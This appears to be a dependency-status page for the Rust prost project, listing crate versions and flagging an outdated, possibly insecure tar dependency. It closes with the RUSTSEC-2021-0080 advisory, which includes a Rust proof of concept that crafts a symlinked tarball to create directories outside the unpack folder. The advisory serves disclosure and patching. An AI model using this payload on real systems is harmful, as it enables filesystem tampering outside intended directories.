This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate prost

Dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 bytes^11.1.0up to date

Dev dependencies

(5 total, 1 outdated)

CrateRequiredLatestStatus
 criterion^0.30.3.5up to date
 env_logger^0.80.9.0out of date
 log^0.40.4.14up to date
 proptest^11.0.0up to date
 rand^0.80.8.4up to date

Crate prost-derive

Dependencies

(5 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.44up to date
 itertools^0.100.10.1up to date
 proc-macro2^11.0.29up to date
 quote^11.0.9up to date
 syn^11.0.76up to date

Crate conformance

Dependencies

(3 total, 1 outdated)

CrateRequiredLatestStatus
 bytes^11.1.0up to date
 env_logger^0.80.9.0out of date
 log^0.40.4.14up to date

Crate prost-build

Dependencies

(7 total, 1 outdated)

CrateRequiredLatestStatus
 bytes^11.1.0up to date
 heck^0.30.3.3up to date
 itertools^0.100.10.1up to date
 log^0.40.4.14up to date
 multimap^0.80.8.3up to date
 petgraph^0.50.6.0out of date
 tempfile^33.2.0up to date

Dev dependencies

(1 total, 1 outdated)

CrateRequiredLatestStatus
 env_logger^0.80.9.0out of date

Build dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 which^44.2.2up to date

Crate prost-types

Dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 bytes^11.1.0up to date

Dev dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 proptest^11.0.0up to date

Crate protobuf

Dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 bytes^11.1.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 criterion^0.30.3.5up to date
 cfg-if^11.0.0up to date

Build dependencies

(5 total, 1 possibly insecure)

CrateRequiredLatestStatus
 anyhow^11.0.44up to date
 curl^0.40.4.38up to date
 flate2^1.01.0.22up to date
 tar ⚠️^0.40.4.37maybe insecure
 tempfile^33.2.0up to date

Crate tests

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.44up to date
 bytes^11.1.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.12up to date
 tempfile^33.2.0up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.80.9.0out of date

Crate tests-2015

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.44up to date
 bytes^11.1.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.12up to date
 tempfile^33.2.0up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.80.9.0out of date

Crate tests-no-std

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.44up to date
 bytes^11.1.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.12up to date
 tempfile^33.2.0up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.80.9.0out of date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!